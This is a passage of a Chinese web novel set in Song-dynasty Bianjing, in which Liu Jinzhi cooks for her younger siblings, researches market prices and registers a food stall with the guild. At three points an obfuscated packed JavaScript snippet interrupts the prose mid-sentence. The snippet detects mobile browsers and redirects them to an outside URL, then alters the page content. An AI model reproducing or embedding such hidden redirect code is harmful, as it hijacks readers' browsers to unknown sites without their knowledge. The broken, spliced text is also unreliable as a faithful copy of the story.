但既然柳金枝回来了，就得细心教养。 是夜明月高照，她唤来月牙，一大一小披着衣服，齐齐蹲在门槛上。 “牙齿不保护的话会坏的很快，到老了就吃不下硬东西，所以咱们要早晚刷牙。喏，这个是我在秦淮买的刷牙子，你试试。” 她递过去一根。 古人比现代人还注意牙齿健康，从柳枝刷牙到发明牙粉、牙香、牙刷子和牙香筹，刷牙工具一直在进步。 达官贵人们更是可以用玉，或是象牙做成的牙刷子。使用上好药材、名贵香料做成的牙香。 但谁叫她家是平民百姓，所以牙刷子是用竹木做的，牙香也只是普通的盐巴粉。 月牙还没怎么刷过牙，动作很生疏。 她就给月牙做示范，让月牙学着用牙刷子沾些盐巴粉塞进自己的小嘴里，左边费劲扒拉两下，右边用力扒拉两下。 结果一不小心吃了点盐巴进去，又苦又咸的味道害得月牙一张小脸都皱成一团，直吐舌头，含糊不清地说：“呸呸呸，阿姐，好苦啊。” 她觉得月牙可爱，嘴里叼着牙刷子，不厚道地瞧着月牙笑道：“盐巴哪儿有不苦的，小心些，别再咽下去了。” 月牙点头如捣蒜，然后专心专意跟自己嘴里的牙刷子做斗争。 等到刷完牙，柳金枝端来两杯井水。 姐妹俩同时喝一口，仰起头：“咕噜咕噜。”又使劲儿一吐，“噗——！” 涮牙水吐到外头雪堆儿里，明月清辉下，水迹奇形怪状。 月牙忍不住咧嘴一笑，指着自己吐的那片说：“阿姐你瞧，像兔子。” 柳金枝问：“那阿姐的像什么？” “像大雁！” 柳金枝哈哈大笑，抱着月牙站起来：“走，回屋睡觉去，阿姐给你耍手影戏。” “好！” 只是欢声笑语不绝时，隔壁柳霄倒是翻来覆去睡不着。 他爬起来对着墙贴耳细听了一会儿，垂着脑袋不知道在想什么，尔后又气呼呼往床上一躺，干脆扯过被子蒙住头，一动不动了。 冬日的天亮得晚。 柳金枝醒来时，窗户外头还是一片黑，采莲胡同的所有人家都沉浸在夜色里，只朦胧里隐隐约约透露出屋脊的边缘，和墙边只剩枯枝的老树。 小心翼翼离开温暖的被窝下床，月牙还在熟睡，饿得凹进去的小脸被细软的长发盖着，显出一派天真。 柳霄和月牙都饿的狠了，得给他们好生补补。 柳金枝心里想着，蹑手蹑脚走到厨房，从麻袋里摸出最后一点儿面粉。 在筛粉技术还不怎么成熟的古代，要得一袋精细白面要花费不少功夫，所以白面价贵，还不易得。 但她回程时想着给柳霄、月牙带见面礼，就忍痛拿出银子去买了一小袋。上次吃拨鱼儿耗了一半，现下还有一半，她打算都给柳霄和月牙吃，就做份儿砂锅辣子水滑面。 冬天面不好发，等待的时间更长，但好在她起得早，有充足的时间准备。 于是从壁橱下层取出襻膊，绑起袖子倒水揉面。 这砂锅辣子水滑面，其实就是后世的辣子烩面，做起来并不算复杂，但也很难做的好吃。 因为烩面需要水、面比例调和均匀，再大力去揉它，好好醒出来，等面性发的十分满时，逐块揪拽，非得每块都揪拽得又宽又薄之后下到开水里煮熟，才能让面条劲道又好吃。 光是这一点就要难倒不少膳工了，而烩面的虀头又是一道难关。 需准备麻腻、杏仁儿腻、咸笋干、酱瓜、姜、腌韭和黄瓜丝等配料，有条件的还可以加点煎肉调香，味道更妙。 她没有这个条件，自然也不用烦恼该用什么肉炒才更入味，她思虑的是如何用冬日里头的菜蔬，去代替浇头配料里的一味黄瓜丝。 而至于麻腻、杏仁儿腻等酱，并咸笋干、酱瓜、腌韭一类小菜，厨房里已经备下了，应该都是项志轩叫小厮从外面店铺里买的。 毕竟宋朝时，各类麻酱、酱油、料酒等调味用品早已遍布大街小巷，甚至现代人拌饭离不开的豆瓣酱，在宋朝都已风靡一时。若有需要，直接去买，十来文就能得到一大罐，实在不用自己苦哈哈在家里做。 而卖小菜的更是随处可见，许多小贩为了增加收入，都会在家中做了小菜，第二日再去各大酒楼零售，不同于现代大饭店对于此行为严加禁止，北宋时期各大酒楼、饭店都是允许这种行为的，时称“外来托卖”。 所以现下就只有冬日应季蔬菜需要她预备。 便赶紧用清水将雪白的面粉搅和成糊糊一团，纤细修长的指尖攥住面团使足了劲儿往铁盆里揉，如此反复多次，直揉的人肩酸背痛才算完。 用个湿纱布罩了放在一边，接下来只等面性发满就好了。 此时天色终于有了些朦朦胧胧的光亮，柳金枝掀开厨房的暖帘走到院儿里去巡视菜地。 生活在种花家的每个国民都会点亮的一层天赋大概就是种菜。 以前柳家虽然以剥莲子为生，但柳父还是在院子里开垦了一小块菜地。 春种荠菜、夏种落苏、秋种白菜、冬种京笋。 一年四季家中都菜蔬满园。 自柳父、柳母双双殁了以后，这个菜园子就没人再打理，一直荒废着，任凭春风吹来谁家菜籽，野蔬野菜自由生根，野蛮生长。 而如今柳金枝去园子里一看，银色冬雪覆盖满黑色泥土，雪泥中埋着一截青葱碧绿的菜蔬。 用小锄头扒开一看，方知是京笋。 所谓京笋，便是莴苣，只是北宋人爱用此俗称，因为莴苣很得北宋人的心，就像现代人也爱在莴苣身上开发出各种吃法。 简单点的就将莴苣切丝了做浇头，伴着新鲜麻辣鱼头吃，味道辛辣爽口。复杂点的，就把莴苣切丝了以后淋上小石墨香油，浇上豆瓣酱，鲜辣子，并上大粒盐二十粒，拌匀后入小瓮缸，用纸、竹叶依次盖上，再用泥严封。 要不得三两日，就能起坛开封，享用清爽脆口的腌莴苣丝，最好能搭一碗半稀不稠的白粥，呼啦呼啦地喝下去，那可真是粗茶淡饭却成人间美味。 柳金枝可没这么多闲工夫，只从简单做法来。 于是拔了两根莴苣回厨房，削厚皮、切细丝，简单洗净过后，一气用小笊篱装起，伸入滚水里头七上八下烫了个通心熟。 对着火光一看，莴苣丝中心略实，外心通透，半软不硬的模样正是最脆口时。 赶忙趁此收手，就着笊篱倒入小碗中待用。 转过头来，面也醒的差不多了，柳金枝净了下手，就开始揪拽面块。 当了膳工的人，就是看起来再娇弱的娘子，手上的劲儿也不小。 所以柳金枝拉扯出来的面条又宽又薄，受力正均匀，往开水锅里一甩，很快就被烫成一条条白片儿，顺着滚水泡沉沉浮浮。 如炮制法将整个面团揪拽完，捞上来正好三大碗。 然后起锅烧油，将小厨房里就有的小葱、姜片、蒜末、八角、桂皮等调料一并扔入锅中反复煸炒出味儿，再倒入煮过的莴笋细丝，炒不过两个回合，就用大勺装起，一一分入两个面碗里。 随后又辅以酱油、陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458081|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋、粒儿盐拌匀，再淋勺麻腻与杏仁儿腻，又用筷子拣出些好的咸笋干、腌韭和酱瓜铺在最上头，直要冒出碗尖儿。 就此，砂锅辣子水滑面终于大功告成。 柳金枝留了两碗给柳霄和月牙，还有一碗送去项志轩房外。 毕竟用了人家的腻子和酱菜，总得有点表示。 叩门是那小厮应的，从他口中柳金枝得知原来项志轩要早起温书，已经简单用过热粥，现下温书累了，又回榻上小憩去了，顺便暖腹，所以柳金枝这碗只能留至用朝食时再吃。 柳金枝表示理解。 现代人讲究“早吃好，午吃饱，晚吃少”，宋人却恰恰相反，讲究“早吃少，午不吃，晚吃饱”。 特别是在宋朝人普遍都只吃两餐的情况下，偶尔多吃的一餐就会被认为是“多余消费的”，会尽量让这餐在肚子里留存的久一点，以享受饱腹感。 诗人陆游就喜欢早上起来之后先喝碗粥，再睡个回笼觉，并美名其曰：“粥后就枕，则粥在腹中，暖而宜睡，天下第一乐也。”，引得后世众人效仿。 回到偏室，天光云影渐入房门。 柳霄已经起身，将自己收拾整齐来管月牙。 睡了一夜，月牙的小发髻松松垮垮耷拉在一边，此时正睡眼惺忪地靠在柳霄身上，任凭柳霄替她拆散了发绳，重新编发。 显然柳霄手艺不好，但胜在认真，小脸绷得紧紧的，生怕扯痛了月牙。 柳金枝一笑，走过去拍拍柳霄：“放着我来吧。” 柳霄点点头，放开手走开。 月牙浑然不觉，就这么自然而然地又靠在了柳金枝身上。 柳金枝很喜爱这个小妹，用心给她编了个秦淮时兴的双丫发髻，又偷偷拿了面铜镜来，才轻轻拍月牙的肩：“月牙，醒醒，莫要睡了。” 她脸上带着笑，预备着小丫头等会儿瞧见了自己的新发型惊喜一场。 只是没料到月牙睡梦初醒般揉了揉眼睛，却下意识抽了抽鼻子，“好香啊。”她咽了口口水，彻底睁开眼，“哥，你拿了什么东西回来？” 但柳霄没有回答，直到月牙自己走到厨房里去，才看见柳霄站在饭桌前，一动不动地盯着面前这两碗热腾腾的烩面。 朦胧的睡意顿时消失，月牙懵懵地说：“哥哥，我是在做梦吗？” 柳霄慢慢摇头。 “我第一次在看见朝食……” 月牙不自觉地走上前，用手抓了一根酱瓜塞进嘴里，咔嚓咔嚓几下吃完，两眼亮的惊人，又忍不住伸手去抓其他配料，还没忘记招呼柳霄： “哥，你快来尝尝，好吃！” 柳霄没动作，只是扭头看柳金枝走过来递给月牙一双竹木箸。 “用箸吃吧，小心烫着手。”柳金枝笑道。 月牙虽然聪慧，但到底是年纪小，又狠饿过，当即连忙点头，接过箸埋头就吃。 倒是柳霄哑声问：“你准备了多久？” “嗐，一个时辰左右，我习惯早起了。”柳金枝笑眯眯的。 她在当学徒的时候天天早起晚归练基本功，每天只睡两三个时辰，有时候通宵熬夜也有可能。 好在她天生高能量，就是睡不饱也不困。 可是柳霄看了眼天色，便知柳金枝大概卯时左右就起了，不由紧紧抿住唇瓣。 又看桌上只有两碗面，他当即又从壁橱里取出一只碗，也不说话，只哐哐几下把自己碗里的面，扒了一大半出来递给柳金枝。 柳金枝摇头：“只有这些面了，以后我们可能很长一段时间吃不到这些好东西……” 柳霄却打断她，倔强又坚持：“你吃！” 柳金枝看着碗里的面，又看看柳霄微微泛红的眼眶，不由失笑，还是接过碗来。 柳霄又将碗中一些好吃配菜都挑给月牙，这才拿起箸大口大口吃起来。 他的吃相也很狼狈，狼吞虎咽一般，显然他也很久没吃到过这么好吃的东西了。 柳金枝微叹，摸摸柳霄和月牙的小脑袋。 8. 早市采买 用完一顿晡食，月牙吃的小肚子圆溜溜的，直打嗝儿。 柳霄擦擦嘴巴，主动去隔壁黄婶子家借车，又将月牙暂时托付给黄婶子照顾，柳霄与柳金枝才推着独三轮儿出门，直往御街去了。 御街从宣德门起直通朱雀门，两边遍布许多茶楼、酒肆、饭馆，以及各类瓦子，是整个汴京城最繁华热闹的街道。 柳金枝才带着柳霄由曹门大街走入御街，繁华热闹的市井气息霎时扑面而来。 街道两旁店肆林立，街宽路长，满街都是各色店铺，小吃琳琅满目，烟火香气浓郁。行人如织，人声鼎沸，热闹喧哗。 柳霄将车栓草绳挂在自己脖子上，气喘吁吁道：“你要买什么？” 柳金枝环顾一周，笑道：“不着急，我们先去逛逛早市。”又将一只普通茄袋交给柳霄，“这袋子里可是我们的全副身家，喏，交与你保管了。” 柳霄霎时瞪大眼睛，仿佛手上接了个秤砣。眼睛左瞟，右瞟，慌忙放进里兜里藏好，才敢抬起头看柳金枝。 “今日我专管挑菜、买菜与人杀价，怕分不出手来算账管钱。所以我将这重担交与你，让你专管银钱采买一切流水。” 柳金枝对柳霄眨眨眼。 “我们底钱不多，你得仔细算账，叫每一分每一厘都花在刀刃儿上，你能做好吗？” 柳霄小心翼翼地捂着兜，颇为紧张道：“嗯！” 柳金枝一笑：“那走吧。” 就带着柳霄、月牙往御街更深处走去。 遇到的第一间人满为患的店铺便是肉铺，唤作“郑氏肉铺”。 手持剔骨刀的肥胖屠夫正站在剁肉台后，听从客人们的命令从吊钩上取下一块块猪肉任人相看。 对比于动辄就八九十文一斤的羊肉、马肉，猪肉算是最物美价廉的肉类，只要三十文左右就可以买到一斤，其余猪下水之类的东西会更加便宜。 所以宋朝时大部分百姓都负担得起猪肉，导致猪肉生意一直很走俏。 又因为汴京城内人口众多，为了供应这么多张嘴巴的猪肉开销，肉贩子每天都会赶一大群猪近汴京。正从南熏门走，赶到屠宰场宰杀。 “您要的猪肋骨一斤，收您三十五文钱，诶，好嘞！您慢走不送！” “哎哟，王娘子，您可别拿手戳肉啦，我这猪肉可是新鲜的，坏了其他客人可就不买啦。” …… 柳金枝挤进剁肉台跟前，看见那屠夫虽然长得五大三粗，一副凶相，但说话非常和气，见了她这个生面孔连忙招呼： “娘子随意看看，想要哪块肉只管告诉我，我替你切来。” 柳霄却在身后紧张算账，算毕，不由把柳金枝衣袖一扯，拉着人就想走。 这肉可买不起！ 柳金枝倒是老神在在地站在原地，挂着一脸笑，问：“郑屠户，敢问我拣块斤把重的肥肉要多少文？” “肥肉自然贵些，三十五文一斤。” “那瘦肉呢？” “瘦肉价贱些，二十八文一斤。” 古代人为了饱腹以及营养着想专爱吃肥肉，越肥越香，瘦肉反而因为缺少脂肪而没那么吃香。 郑屠户笑道：“娘子看上哪块肥肉，我替娘子拣来切了。” “我不要肥肉，劳烦您给我两斤一分肥九分瘦的前腿肉。”柳金枝笑道。 郑屠户略微讶异，但还是听命切来，用油纸装裹起来递与柳金枝。 柳金枝掂了掂分量，自觉确实有两斤，郑屠户倒没有缺斤少两，便暗自将这郑氏肉铺的位置记在心里，让柳霄去付账。 柳霄给了银子却又心疼的紧，拎着肉说：“大家都不爱吃瘦肉，买这个会不会太亏了。” “没有不好做的菜，只有做不好的厨子。”柳金枝挑眉，“你放心，要做什么菜我心里已有数。” 又往下一处铺子走去。 这回立在二人面前的六七个并排扎堆的食摊，热粥、香糕、馒头、包子等齐全，甚至还有各种熟食小吃。 这些食摊在此处怕是已经摆了许久，摊前围满了老食客。 食贩们根据食客们的挑拣，熟练揭开蒸笼，香白雾气滚滚，露出屉子里满满当当小巧可爱的精致面点，干净利落用油皮纸包起来几个，再用白线系紧递过去，便能从食客手中赚得五六个铜板的小钱儿。 柳金枝笑吟吟走过去问：“小哥，你这儿可有单子牌面？” “哟，娘子，咱们这小本买卖，熟食种类不过十余种，哪儿有什么单子牌面？”食贩满脸笑，“您要是想知道咱摊上卖什么，我给您唱来就是，您瞧。” 一面揭开蒸笼。 “咱家胡饼有猪胰胡饼、白肉胡饼、茸割肉胡饼。” “糕点有糍糕、黄糕麋、麦糕。” “还有煎白肠、血脏羹、羊血、粉羹、灌肺、蒸饼。” “冬日里，咱还特卖五味肉粥、七宝素粥。” “就是不知娘子您要些什么？” 柳金枝还没吃朝食，正好有些饿了，便就着蒸笼挑拣了一样麦糕、一样七宝素粥。 这两样足够让人饱腹，合计一算，也不过十五文。 如此看来，汴京城的朝食种类繁多，却又颇为物美价廉。而且生意火爆的大多都是半固定摊位，在这御街上存在很多年了。 若她要来抢生意，要么价钱更便宜，要么种类更多。 大大地喝下一口粥，品尝着嘴里这七宝素粥甜滋滋的味道，柳金枝心下有了盘算，回眸对柳霄道：“再去其他食摊上瞧瞧。” 二人再度启程。 这回柳金枝没买东西，只问价。 待她将市面上常见的朝食种类、价钱全都摸了个清楚后，柳霄也逐渐明白了柳金枝的意思，便默默掏出一支笔和账本。一边回忆着方才听到的种种，一边奋笔疾书，代柳金枝把这些价钱全都记下来。 小半个时辰后，柳金枝抬头看看天色，擦去额上热汗，笑道：“好了，时辰也差不多了，现下去买菜的话，应该还有一半的新鲜货可选。” 所以原来从一出门，柳金枝就打算好先做市场调研。 再加上此前她拿菜刀拦住应天爵，到后来又在说笑间和应天爵、项志轩打成一片。 这般行事风格稳妥到不像十六七岁的女儿家。 柳霄不由抿抿唇，道：“你比起以前变的不一样了。” 柳金枝一愣，问：“哪里不一样了？” “以前……我总觉得你会傻乎乎的被人骗。但现在，好像没人能再骗到你一样。”柳霄将纸笔收起来，“甚至让人不由想要相信你。” “人长大了，自然不会还像孩童一般天真。”柳金枝笑道，“那现下的我，有没有值得你来信任？” 柳霄低头不做声。 柳金枝以为她这个弟弟还是心结难消，只好拍拍柳霄的肩，转身欲走。 柳霄却忽然拉住她的衣袖，眉眼有些犹豫和纠结，轻声说：“若你以后不再抛下我和月牙，那我就再信你一次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458082|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家”之一字在柳霄心里占据着极重的份量，任何人，任何事，都不能破坏他这个家。 “我必然不会抛弃你们。”柳金枝拉住柳霄的手，重重握紧，“我们永远都是一家人。” 柳霄望着柳金枝清丽的眉眼，感受着手上源源不断传来的温度，往日一直阴郁的脸上终于出现了一丝笑容，犹如阳光破过云层，冰雪消融。 “嗯，我们永远都是一家人，谁也不能拆散……” * 菜市口离贩卖晡食的食摊不远，二人推着独轮车，步行不过一炷香的时间，就到了地方。 这里对比起食贩们还支了个摊子做生意，菜农们的摊子可就简陋许多，只有两个筐子和一条扁担。而菜农自个儿就端着个小杌子坐在一边，时不时给菜蔬们洒点水保持新鲜品相，殷勤等候路过娘子们过来问价。 柳金枝打眼一扫，便知道自己来的还不算晚，有的菜农住的远，要想赶来汴京城里做生意得赶一个时辰的路。 所以现下有些菜农刚到，他们筐子里的菜大多都是刚从地里采摘出来，菜叶水嫩嫩的，菜尖儿还顶着一捧白雪，一看就知道是新鲜的。 柳金枝一一看过去，发现菜蔬种类不算太多，大都是冬天能见到的白菜、荠菜、冬笋、土豆、芋头、黑木耳一类。 菜蔬少，能做的熟食品类就不多，颇受限制。 柳金枝不由怀念了一把现代的蔬菜大棚。 要是古代也有温室大棚，她能做出品类更繁复的熟食，也更有把握占领市场。 “阿姐，你打算买什么？”柳霄问。 “膳房里要用到的物件都要一一采买。”柳金枝从袖口扯出一根襻膊将宽大袖摆挽起，“今日你我要受累一番了。” 柳霄点头，同样撸起衣袖。 接下来，二人先光顾了菜农摊子，购入白菜二十斤，荠菜十斤，冬笋十斤，黑木耳十斤，剩下还有芋头、萝卜、菜苔、野山蕈等各五斤左右。 好在柳家旧宅底下有一口地窖，又正值冬季，这些东西暂时存放在地窖里，短时间内也不会坏。 尔后，又去酱园购入面酱、酱油、黄酒、料酒、老抽、生抽、豆瓣酱等等各两翁。 正好酱园旁边就是卖调料的杂货铺子，于是又购入八角、砂仁、生姜、丁香、薄荷以及大小茴香等等，不拘花费，各种备上一麻袋。 至于锅碗瓢盆以及炉子、炭火，就去御街尽头的团行购入。 所谓团行，就是汴京城内买卖锅碗瓢盆类商家们，共同结成的一个商行。 这家铺子里买了铁锅，隔壁就能买到蒸笼。 柳金枝买的东西多，包括刮板、剪子、竹笊篱等等她都要，于是和几个老板说和讲价，硬生生磨的他们便宜了二十来文。 但省下来的钱与花出去的钱相比，不过是小巫见大巫。 柳霄在心里打了一通算盘，满眼忧虑，道：“阿姐，这些物什总共花费八百二十七文，我们手上还剩一百六十文。按照汴京城一人一天五十文的伙食算，咱们最迟到明日晚间就得饿肚子了。” 看着这独轮车上满满当当的货物，柳金枝她抬手为柳霄擦去额上热汗，道：“万事开头苦，咱们暂且挨一挨，这般穷苦日子不会太久的。” 柳霄点头，道：“实在不行，我去替人算账写字，也能赚十来文。” 柳金枝失笑：“阿姐才不愿你做这种苦活儿，把眼睛熬坏。走，咱现下就归家，叫应天爵带我去食饭行挂名、缴钱！” 9. 挂名、缴钱 天光云影徘徊间，时辰已到正午。 暖暖的冬阳落下一片光辉，将落在树枝间隙的皑皑白雪映照得发亮。 树枝下，应天爵头戴东坡帽，着一身交叠领褙子，下穿百褶裙，外套件宽大的灰蓝色外袍，负手在树杈下来回踱步。 在旁边还停着一辆颇为陌生的车马，外头守着一个脸生的车夫，明显是有外人拜访。 柳金枝一时疑心是不是她那位黑心舅舅来了，但柳霄见了，解释道：“那是项志轩的同窗好友，我和月牙有时在黄婶子家小住，曾经见过他。” “既然是外人，咱们不必管他，你先叫隔壁婶子们帮帮忙，把这些个东西搬进家里去，等我回来，再一发谢过几位婶子。”柳金枝道。 柳霄点头，独自登门找婶子们去了。 留下柳金枝过去与应天爵见礼，笑道：“叫应大哥苦等，倒叫奴心里过意不去。今晚必好好置办一桌酒席，谢过应大哥。” “柳娘子何必客气，既然是杏安小哥叫你来找我，我必然尽心竭力。” 应天爵叉手一拜。 “再说，如果娘子当真要谢，置办酒席不如娘子亲手做几道菜。娘子的手艺堪比樊楼膳工，我上次吃了一回，往后再吃其他，总好像嘴里没滋没味儿一般。” 柳金枝眉眼带笑，连连谦虚：“应大哥谬赞。” 二人一面说话，一面往车马行租赁了一辆驴车，摇摇晃晃地往食饭行去。 食饭行坐落于饭馆食摊盛行之处，即是马行街附近，周围有杨楼、樊楼、庄楼，皆是当时有名有姓的大酒楼。 柳金枝与应天爵坐驴车，从新曹门起始，途径牛行街、南斜街进入新曹门，再北上沿着马行街一路走到头，远远瞧见樊楼的大红拒马杈子摆在街边，车夫就吁停了驴车。 柳金枝主动上前结账，倒叫应天爵脸色更好几分，笑呵呵为柳金枝引路。 “来，娘子里面走，小心路滑。” 二人一前一后绕过积雪小巷，进入大行货巷，巷内有人扫雪，堆积在两边贴墙上靠。 柳金枝小心提裙避开雪堆，跟着应天爵行到中间停下。 往左壁一瞧，正有个朱红双开小门，两边门板上还钉着铜环把手，磨损颇为严重，看样子此处常有人往来。 应天爵颇为熟稔地扣住铜环敲门，抬高声量道：“庄大爹可在？我是应天爵，今日有事求见，劳烦开开门。” 想来这位庄大爹与应天爵确实相熟，叩门不过半柱香时间，门后就传来拉销栓的声音，紧接着门被打开，露出一张白白净净的小童脸。 小童对着应天爵叉手一拜，道：“我家大爹不在家，往桑西瓦子见要客去了。但大爹走时吩咐，若是您登门要带人挂名、缴钱，就叫我带人去办，和大爹在时一样。” 应天爵笑道：“你大爹做事倒周全。” 便将柳金枝引出来与小童相见。 “这位是柳娘子，要在食饭行挂个名，将来好一早一晚的做个食饭生意，你带她进去罢。” 柳金枝与小童福身。 小童将门打开些，让俩人都进。 门内是一座一进一出的宅院，院门口是青石砖铺就的，正有小厮扫地，另有小厮持了短棍在打竹林头上雪。 小童快速进了门，取出一张契约，一方玉印，一盒朱砂，并墨、砚、笔，一通摆放在堂内的一张长方案上。 待到研磨完毕，执笔时问柳金枝：“娘子可看好铺位没有？” “奴想在御街上谋个位子。”柳金枝低垂下眉眼。 “御街？”小童皱起眉，“倒是不好办，这街道人多，是做生意的好去处，人人都想去分一杯羹，柳娘子怕是……” “诶，画童，算是给我个面子。” 应天爵拉住画童的袖子。 “我记得御街靠太常寺那边有一家姓武的，专卖炊饼，因着家中出事，要回乡奔丧，这几日就要买船南下，怕是一时半会回不了汴京。他那位子闲着也是闲着，何不与了柳娘子？” 画童还是皱眉头。 柳金枝福至心灵，取了几十个铜钱塞进他手里，温声软语：“还请小哥照应一二。” 掂了掂分量，显然这点银钱不太符合他的预期。 但应天爵在旁边看着，催他快些盖章，画童只好铜钱拢进袖子里，松口道： “罢了，瞧在应大哥与这位柳娘子诚心，太常寺那位子就与这位娘子了。来，这契约一式两份，还请娘子签字画押。” 柳金枝松一口气，连忙接过笔签上大名。 画童又盖上印章，抽了其中一张交与柳金枝，道： “这契约是要移交到官府上报姓名的，但凡出了事，别说是官府要缉拿娘子，我们食饭行也不会姑息。所以希望娘子莫要偷工减料，必得地道、用心。” 柳金枝小心接过这张薄薄契约，福身应答：“奴定然谨记。” “如此，我们食饭行便挑选一位行老与娘子结对，凡有饮食上不懂的。如哪方菜钱贵贱？哪方人流多少？哪方人家要做四司六局？哪方物价涨跌？都可以请教行老。” 画童拿出一本名册，翻开看了片刻。 “蔡老正得闲，便与娘子安排吧。” 尔后便挥毫泼墨，写下蔡老地址交与柳金枝。 应天爵笑道：“蔡老是食饭行里的老人了，在这汴京城也做了三十二年的食饭生意，出去问一句蔡氏饭馆，就没有不知道的。人脉广，经验足。能得他指点，娘子好福气。” 柳金枝道：“今日正巧得空，不如应大哥引奴到蔡氏饭馆拜见一下蔡老。” “这是自然，说起来，蔡老的饭馆与太常寺不过一街之隔，到时你俩还能做个邻居呢。” 应天爵一边笑着，一边在前头引路。 好在此前那辆驴车还没走，于是又坐驴车南下，往御街宣德门前的太常寺去了。 蔡氏饭馆不大，门口也没什么彩绸拒马杈子，只一条白旗招子，上书“蔡氏饭馆”四个大字。 虽然如此，但饭馆内人来人往，热闹非凡，足可见其受欢迎的程度。 跑堂小二也格外热情，但见柳金枝和应天爵是要往蔡氏饭馆的方向来，隔着老远就高声欢迎： “哟，二位客官里面儿请！” 看着小二满脸堆笑的模样，柳金枝也不由莞尔。 一般来说，饭馆里最重要的是膳工，但在宋朝时期，跑堂小二也是不逊色于膳工的“镇馆之宝”。 因为宋朝饭馆里虽然有单子牌面，但每日菜色常有变化，所以当天有什么菜，没什么菜，主推什么特色菜，都需要跑堂小二记住。 这就要求跑堂小二拥有极强的记忆力。 除此之外，跑堂小二也得有眼力见。 遇见衣着稍微寒酸的客人，就报价位低一些的菜。遇见那类不差钱儿的，自然就得报些佛跳墙、熊掌、鱼翅等等，否则也辱没了人家的身份。 值得一提的是，宋朝的跑堂小二还得有一把好嗓子。毕竟宋朝的报菜名不是单单用嘴说，而是“唱”。 孟元老的《东京梦华录》里就有写到类似场景—— “行菜得之，近局次立，从头唱念，报与局内。” 一道菜一道菜的高声唱出来，既能让膳房内听得清楚，也能叫食客确定有没有报错菜名，可谓是一举两得。 当然，柳金枝不是来消费的，将手中契约递与跑堂小二，劳烦他请出蔡老来面谈。 蔡老看起来五十上下光景，目光炯炯有神，两颊红润有光，是个精神抖擞的胖老头。 想来他正在后厨忙碌，匆匆忙忙掀开厨帘出来时，额上、鼻尖满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡老喘着气将柳金枝上下一打量，道：“这位娘子，若你没有十成把握，我便去前头赔罪，央那位食客再稍等片刻，叫膳徒再去买一尾就好，可不能逞强。” “每日鲜鱼都是早晨买最佳最鲜，现下已过午后，渔夫早离岸登船，怕是买不到鲜鱼了。就是有的卖，价钱怕也要贵上许多。” 柳金枝有理有据。 “所以，与其白白浪费了这尾鱼，倒不如让奴一试。” 蔡老的眉头顿时拧成个大疙瘩。 他与柳金枝第一次见，实在无法全然相信柳金枝的手艺，但局外跑堂小二声音传来：“好嘞，您坐，听小的给您唱菜。” 尔后门板被叩响。 跑堂小二高声道：“蔡老，金华火腿豆腐汤一道！黄金鸡一道！” 蔡老急得又开始冒汗，认命般道：“罢了罢了，请娘子试试吧。左右迟一些赔罪，早一些赔罪都无甚差别。” 柳金枝略一挑眉，故意当做没听见这丧气话，只向膳徒问清地窖在何处，便一转身去了。 与此同时，邻街太常寺处，一辆装潢朴素低调的马车停在门口。 杏安扶着傅霁景下车。 傅霁景对着寺口小吏叉手一拜，温和道：“敢问小哥，柴寺丞可在？” 小吏查看过傅霁景身侧牌子，也与他见礼，恭敬道：“原来是傅郎君，不知郎君寻柴寺丞何事？” “家姐有事嘱托，叫在下来寻姐夫归家。”傅霁景道。 “郎君来的不巧，寺内膳堂正在修缮，大人们都外出用膳去了。柴寺丞随同两位典薄大人也出了门，瞧模样，应是往邻街蔡氏饭馆儿去了。” 傅霁景拢袖而望，只见太常寺对街有一旗招迎风招展，正是蔡氏饭馆名号，便与小吏告辞，步行过街去了。 10. 蒜末鱼片 柳金枝从蔡氏饭馆的地窖里舀了几碗酒出来。 华国从商代开始就有醋，往后酿造工艺越发进步，也就衍生发展出陈醋、生抽、老抽、酱油一类，但无一例外颜色都呈深褐色。 直到近现代才有人酿制出白醋，滴入食物里而不改其颜色。 再经过一段时间发展，人们发现白醋也能用来除味，所以常用白醋来处理一些腥味儿难除的食材，其中就包括刺破了苦胆的鱼。 所以按照常理来说，在宋朝这个时间线，是没有白醋存在的。 可偏偏柳金枝以前读过《中华美食发展史》，知道原来在春秋时就出现了白醋的前身，但在当时，这只被当成一种酒，供大家狂饮取乐。 这类酒在宋朝被称之为眉寿酒，由宋朝丰乐楼，也就是樊楼购买酒曲酿造。 而作为一家正经饭馆，蔡老自然也向丰乐楼购买此酒，储备在地窖之中，以作零售之用。 将鱼放入盆内，再倒入眉寿酒浸泡。 不过一时三刻，绿汁苦胆的浓郁涩味已经被一股酒味儿覆盖。 柳金枝再用刀小心缓慢地刮下胆汁浸漫过的鱼肉，弃之不用，又更换眉寿酒再度浸泡一次。 如此反复，胆汁之苦已经全然消弭，留下来的只有酒味儿。 但是酒味儿过甚，也会损伤鱼肉的本真鲜味儿。 所以要趁眉寿酒尚未浸透到鱼肉肌理之时，尽早进行烹饪。 里头蔡老已经掌握了两口灶眼，柳金枝也不起动膳徒，自个儿拿着火石搭柴起火，将第三口灶眼点燃。 火势起时，火舌大肆舔舐锅底。 